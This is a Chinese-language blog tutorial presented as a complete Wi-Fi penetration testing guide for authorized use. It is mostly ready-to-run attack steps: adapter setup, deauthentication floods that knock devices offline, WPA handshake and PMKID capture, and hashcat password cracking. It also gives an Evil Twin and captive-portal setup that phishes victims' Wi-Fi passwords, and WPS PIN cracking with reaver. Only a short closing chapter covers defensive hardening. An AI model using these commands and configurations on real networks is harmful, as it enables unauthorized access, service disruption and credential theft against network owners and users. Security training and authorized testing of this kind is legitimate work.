Wi-Fi 渗透测试完全指南:从监听模式到高级攻击(合法授权专用)

核心声明

本文所有技术仅供合法授权的安全测试、教学研究和个人设备实验。

在未获得网络所有者明确书面授权的情况下,对任何第三方网络实施下述操作均属违法行为。


第一章:无线电基础与硬件准备

1.1 理解 802.11 与监听模式

Wi-Fi 工作在 2.4GHz 和 5GHz 频段,采用载波侦听多路访问(CSMA/CA)。正常情况下,无线网卡只接收发给自己的数据帧。监听模式(Monitor Mode) 让网卡取消过滤,将空中的所有无线帧(管理帧、控制帧、数据帧)完整上交操作系统。这是所有无线攻击的物理基础。

1.2 网卡芯片与驱动

并非所有网卡都支持监听模式和包注入。你需要关注芯片型号

芯片型号 频段 注入能力 推荐度
RTL8812AU / RTL8814AU 2.4G/5G AC 极佳 ★★★★★
MT7612U / MT7610U 2.4G/5G AC 良好 ★★★★
Ralink RT3070 / RT5370 仅 2.4G 极佳 ★★★
Atheros AR9271 仅 2.4G 极佳 ★★★
Intel AX200/AX210(内置) 2.4G/5G 极差

购买建议:某宝搜索"Kali 免驱监听网卡",选择 RTL8812AU 芯片,带外置天线的 USB 网卡,价格约 50-100 元。避免购买 "RTL8188EUS" 等型号,它们通常不支持注入。

1.3 将网卡连接到 Kali 虚拟机

以 VMware 为例:

  • 虚拟机设置 → USB 控制器 → 勾选 USB 兼容性(3.0)。

  • 启动 Kali,插入网卡后,在菜单栏 虚拟机 → 可移动设备 → 你的网卡 → 连接

  • 在 Kali 终端输入 lsusb 应能看到网卡。


第二章:环境构建与网卡初始配置

2.1 Kali Linux 安装

下载最新 Kali Linux ISO,在虚拟机中安装。建议分配内存 ≥ 2GB,硬盘 ≥ 25GB。安装后更新系统:

bash

复制代码
sudo apt update && sudo apt upgrade -y

2.2 网卡驱动安装(RTL8812AU 示例)

许多外置网卡需要自行编译驱动。Kali 仓库已提供 DKMS 包:

bash

复制代码
sudo apt install realtek-rtl88xxau-dkms -y

安装后重启。若仍然不认网卡,可手动编译:

bash

复制代码
git clone https://github.com/aircrack-ng/rtl8812au.git
cd rtl8812au
make
sudo make install

2.3 确认网卡接口并切换监听模式

bash

复制代码
# 查看物理接口
sudo airmon-ng

输出示例:

text

复制代码
PHY    Interface    Driver        Chipset
phy0   wlan0        rtl88x2bu     Realtek Semiconductor Corp.

杀掉冲突进程(网络管理器、wpa_supplicant 等会干扰监听):

bash

复制代码
sudo airmon-ng check kill

启动监听模式

bash

复制代码
sudo airmon-ng start wlan0

此时接口名变为 wlan0mon(或原名称不动但模式变更)。验证:

bash

复制代码
iwconfig wlan0mon

应显示 Mode:Monitor


第三章:被动信息收集与目标锁定

3.1 基本网络扫描

bash

复制代码
sudo airodump-ng wlan0mon

字段详解

  • BSSID:接入点 MAC 地址

  • PWR:信号强度(dBm),例如 -30 极强,-70 弱

  • CH:当前工作信道

  • ENC:加密协议,WPA2WPA3OPN

  • AUTH:认证方式,PSK 为预共享密钥

  • ESSID:Wi-Fi 名称

  • STATION:下方列表显示已连接的客户端(MAC、信号、已收发帧数)

输出保存

bash

复制代码
sudo airodump-ng wlan0mon -w scan --output-format csv

生成的 scan-01.csv 可用 Excel 分析。

3.2 发现隐藏 SSID

隐藏 AP 的信标帧中 SSID 长度为 0,但客户端主动探测时会携带真实 SSID。

bash

复制代码
# 信道跳频捕获,可发送 Deauth 刺激客户端重连
sudo aireplay-ng -0 5 -a 目标BSSID wlan0mon

观察 airodump-ng 界面,SSID 将自动显现。

3.3 识别 WPS 锁定状态

bash

复制代码
sudo wash -i wlan0mon

输出中 WPS LockedNo 意味着可尝试 PIN 攻击。


第四章:WPA/WPA2-PSK 破解基础------握手包捕获

4.1 四步握手原理

客户端与 AP 通过四次 EAPOL 帧协商密钥,其中包含 MIC(消息完整性校验)SNonce + ANonce 等字段。攻击者捕获到完整的四次握手(至少前两个消息即可),就可离线尝试字典密码,逐一计算 MIC 并与捕获值比对。

4.2 精准捕获握手包

bash

复制代码
# 锁定信道和 BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon

此时终端右上角显示 WPA handshake: AA:BB:CC:DD:EE:FF 即为成功。

4.3 主动 Deauth 攻击(踢设备下线)

bash

复制代码
# 广播 Deauth(向所有客户端)
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# 精确踢单个客户端(-c 客户端MAC)
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

常见失败原因

  • 目标开启了 802.11w(管理帧保护),Deauth 包被丢弃。此时可尝试 --ignore-negative-one 参数或改用其他信道。

  • 目标距离过远,信号太弱,注入成功率低。

  • 网卡驱动不支持注入 → 更换网卡。

4.4 验证握手包有效性

bash

复制代码
aircrack-ng cap-01.cap

如果显示 0 handshake,则未捕获成功;显示 1 handshake 即可。


第五章:字典破解与 hashcat 加速

5.1 使用 aircrack-ng 破解

bash

复制代码
aircrack-ng -w /usr/share/wordlists/rockyou.txt cap-01.cap

很快会输出 KEY FOUND!Passphrase not in dictionary

5.2 转换为 hashcat 格式

bash

复制代码
hcxpcapngtool -o hash.hc22000 -E essidlist cap-01.cap

hash.hc22000 内容示例:

text

复制代码
WPA*02*524e...*aabbccddeeff*546573744e6574776f726b*...

5.3 hashcat 基础字典攻击

bash

复制代码
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
  • -m 22000:WPA-EAPOL-PMKID 混合模式

  • 若要强制使用 CPU:加 --force

5.4 GPU 加速优化

bash

复制代码
hashcat -m 22000 -a 0 -w 4 -O hash.hc22000 wordlist.txt
  • -w 4:最高性能(可能使桌面卡顿)

  • -O:优化内核,限制密码长度 ≤ 15

5.5 恢复中断的进度

hashcat 自动保存 checkpoint,下次运行相同命令会自动恢复。手动恢复:

bash

复制代码
hashcat --session mysession --restore

第六章:无客户端攻击------PMKID 攻击

6.1 原理

2018 年,研究人员发现某些路由器在 RSN IE 字段中包含 RSN PMKID,该值由 PMK、AP MAC 和客户端 MAC 通过 HMAC-SHA1 生成。攻击者无需抓取握手包,只须向 AP 发送关联请求即可获取 PMKID。

6.2 实施步骤

bash

复制代码
# 1. 启动监听(同前)
sudo airmon-ng start wlan0

# 2. hcxdumptool 收集(针对目标信道)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=3 -c 6 --filterlist_ap=target.txt

target.txt 内容为 BSSID(无冒号),例如 AABBCCDDEEFF

等待几分钟,Ctrl+C 停止。

6.3 提取并破解

bash

复制代码
hcxpcapngtool -o pmkid.22000 -E essidlist pmkid.pcapng
hashcat -m 22000 pmkid.22000 wordlist.txt -r best64.rule

第七章:高级字典攻击与规则优化

7.1 规则文件原理

hashcat 的规则文件(.rule)每条规则对一个基础单词进行一次修改,如追加数字、大小写转换、字符替换等。best64.rule 包含 64 条高效规则,rockyou-30000.rule 包含 30000 条基于真实密码的统计规则。

7.2 多级串联攻击

bash

复制代码
hashcat -m 22000 -a 0 hash.hc22000 -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/numbers.rule wordlist.txt

规则按顺序叠加,可指数级扩展尝试次数。

7.3 掩码攻击(Mask Attack)

已知密码结构时使用:

bash

复制代码
hashcat -m 22000 -a 3 hash.hc22000 ?l?l?l?l?l?l?d?d
  • ?l 小写字母

  • ?u 大写字母

  • ?d 数字

  • ?s 特殊字符

  • 可自定义字符集:-1 ?l?d 然后使用 ?1

7.4 混合攻击(Hybrid Attack)

字典单词 + 掩码:

bash

复制代码
hashcat -m 22000 -a 6 hash.hc22000 wordlist.txt ?d?d

掩码 + 字典:

bash

复制代码
hashcat -m 22000 -a 7 hash.hc22000 ?d?d wordlist.txt

7.5 基于统计的马尔可夫攻击

hashcat 自带的 hcstat2gen 可生成统计文件,用于更智能的掩码攻击(略)。


第八章:社会工程攻击------Evil Twin & Captive Portal

8.1 Wifiphisher 全自动方案

bash

复制代码
sudo wifiphisher -aI wlan0mon -e "TargetSSID" -p firmware-upgrade

它会自动完成 Deauth、创建伪 AP、建立 DHCP 和 Web 服务器,受害者连接后会看到固件升级页面,输入的密码会显示在终端。

8.2 手动搭建 Evil Twin + Captive Portal(完整步骤)

用于深度定制和控制。

流程概览

  1. 创建与目标同名的开放 AP。

  2. 配置 DHCP 服务器,分配 IP。

  3. 劫持 DNS,将所有域名解析到本地 Web 服务器。

  4. 展示钓鱼页面,记录 POST 提交的密码。

8.2.1 创建伪 AP 配置文件

/etc/hostapd/hostapd.conf:

text

复制代码
interface=wlan0mon
ssid=FreeWiFi
channel=6
hw_mode=g
auth_algs=1
wpa=0

启动:

bash

复制代码
sudo hostapd /etc/hostapd/hostapd.conf
8.2.2 配置 dnsmasq(DHCP + DNS)

/etc/dnsmasq.conf:

text

复制代码
interface=wlan0mon
dhcp-range=192.168.1.10,192.168.1.100,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
address=/#/192.168.1.1

启动:

bash

复制代码
sudo ifconfig wlan0mon 192.168.1.1 netmask 255.255.255.0 up
sudo dnsmasq -C /etc/dnsmasq.conf
8.2.3 配置 Web 钓鱼页面

使用 Apache 或 Python HTTP 服务器。准备一个 index.html 包含登录表单,POST 动作指向 login.php 并记录密码。

8.2.4 强迫用户连接(Deauth 原 AP)

bash

复制代码
sudo aireplay-ng -0 0 -a 原AP_BSSID wlan0mon

此时用户断开后可能会搜索并连接到我们的伪 AP。

8.3 使用 hostapd-wpe 获取 PSK 尝试记录

hostapd-wpe 修改版会在日志中记录任何尝试连接的 PSK(即使密码错误)。

bash

复制代码
sudo apt install hostapd-wpe
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

当用户输入错误密码尝试连接时,日志中会留下明文。


第九章:WPS 攻击------PIN 破解

9.1 WPS 安全缺陷

WPS PIN 为 8 位数字,但最后一位是校验位,且前半部分和后半部分独立验证,实际上只需尝试 10^4 + 10^3 = 11000 次即可破解。

9.2 使用 reaver

bash

复制代码
sudo wash -i wlan0mon       # 扫描
sudo reaver -i wlan0mon -b <BSSID> -c <CH> -vv -K 1

-K 1 执行 Pixie Dust 攻击,针对 Broadcom 等芯片,可瞬时算出 PIN。

9.3 常见问题与对策

  • AP 锁定 WPS:通常需要等待或无法攻击。

  • 速率限制:reaver 会自动调整尝试间隔。

  • 部分路由器默认关闭 WPS,或仅支持按钮配对(PBC),此时 WPS PIN 攻击无效。


第十章:WPA3 攻击面简介

10.1 过渡模式降级攻击

许多 WPA3 路由器同时支持 WPA2,攻击者可发送伪造的 WPA2 信标诱使客户端使用 WPA2 连接,进而抓取 WPA2 握手包。

10.2 Dragonblood 漏洞(理论)

WPA3 的 SAE 握手存在边信道和降级攻击,但实际利用需要物理接近和特定工具。测试中可关注目标是否支持 WPA3 Transition Mode。


第十一章:定制字典生成实战

11.1 Crunch 基础

bash

复制代码
crunch 8 12 -f /usr/share/crunch/charset.lst mixalpha-numeric -o dict.txt

11.2 基于目标信息生成

使用 cewl 爬取公司网站生成词汇表:

bash

复制代码
cewl -d 2 -m 5 -w words.txt https://www.example.com

结合 John 规则扩展:

bash

复制代码
john --wordlist=words.txt --rules:all --stdout > huge_dict.txt

11.3 使用 Mentalist 等图形化工具生成定制字典

Mentalist 可以图形化定义命名模式、日期、特殊字符等组合。


第十二章:破解结果分析与防御措施

12.1 密码强度评估

  • 纯数字 8 位:秒破

  • 小写字母+数字 8 位:分钟级

  • 随机大小写+数字+符号 12 位以上:数年至不可行

12.2 网络加固清单

  • 禁用 WPS(或只保留 PBC)

  • 启用 WPA3-Only(若设备支持)

  • 强密码(16 位无意义字符串)

  • 开启 802.11w(Management Frame Protection)

  • 开启 AP 隔离

  • 定期更新固件

  • 不隐藏 SSID(意义不大,反而引起注意)

  • 监控陌生设备连接


附录:常见错误排查

问题现象 原因与解决方案
airmon-ng start wlan0 失败 先执行 sudo airmon-ng check kill;或网卡驱动不支持
airodump-ng 看不到任何网络 网卡未进入监听模式;尝试 iw dev wlan0 interface add mon0 type monitor
抓不到握手包 无客户端、Deauth 被阻挡、信号弱、802.11w 保护;尝试 PMKID 攻击
hashcat 报 "No devices found" 安装 GPU 驱动(NVIDIA: nvidia-driver,AMD: ROCm);或使用 CPU 模式加 --force
PMKID 收集不到 目标 AP 已打补丁(2018 年后固件),或网卡不支持注入;尝试传统握手包攻击
Wifiphisher 钓鱼页面不弹出 检查 Deauth 是否成功、目标设备是否开启自动连接、伪 AP 信号是否强于原 AP
reaver 被 AP 锁定 等待 60 秒自动继续;或尝试 -L 忽略锁定
相关推荐
顾凌陵5 小时前
文件包含与下载读取漏洞实战
网络安全
Latticy5 小时前
内网渗透-横向移动-IPC配合计划任务(schtasks)和系统服务横向移动(sc)
web安全·网络安全·内网渗透·内网
谪星·阿凯6 小时前
basic_pentesting_1靶场全攻略
网络安全·靶场通关
vortex56 小时前
在 Yakit 浏览器中添加本地插件的两种方法
网络安全·yakit
m0_738120727 小时前
渗透测试基础——一文详解CORS跨域劫持漏洞原理与利用
服务器·网络·安全·web安全·网络安全
持敬chijing17 小时前
Web渗透之SQL注入-文件读写-木马植入
sql·安全·web安全·网络安全·安全威胁分析
持敬chijing19 小时前
Web渗透之SQL注入-联合查询注入-注入点数据类型判断
前端·sql·安全·web安全·网络安全·安全威胁分析
藤原千花的败北19 小时前
内网安全--基础知识
安全·网络安全
大方子1 天前
【PolarCTF】button
网络安全·polarctf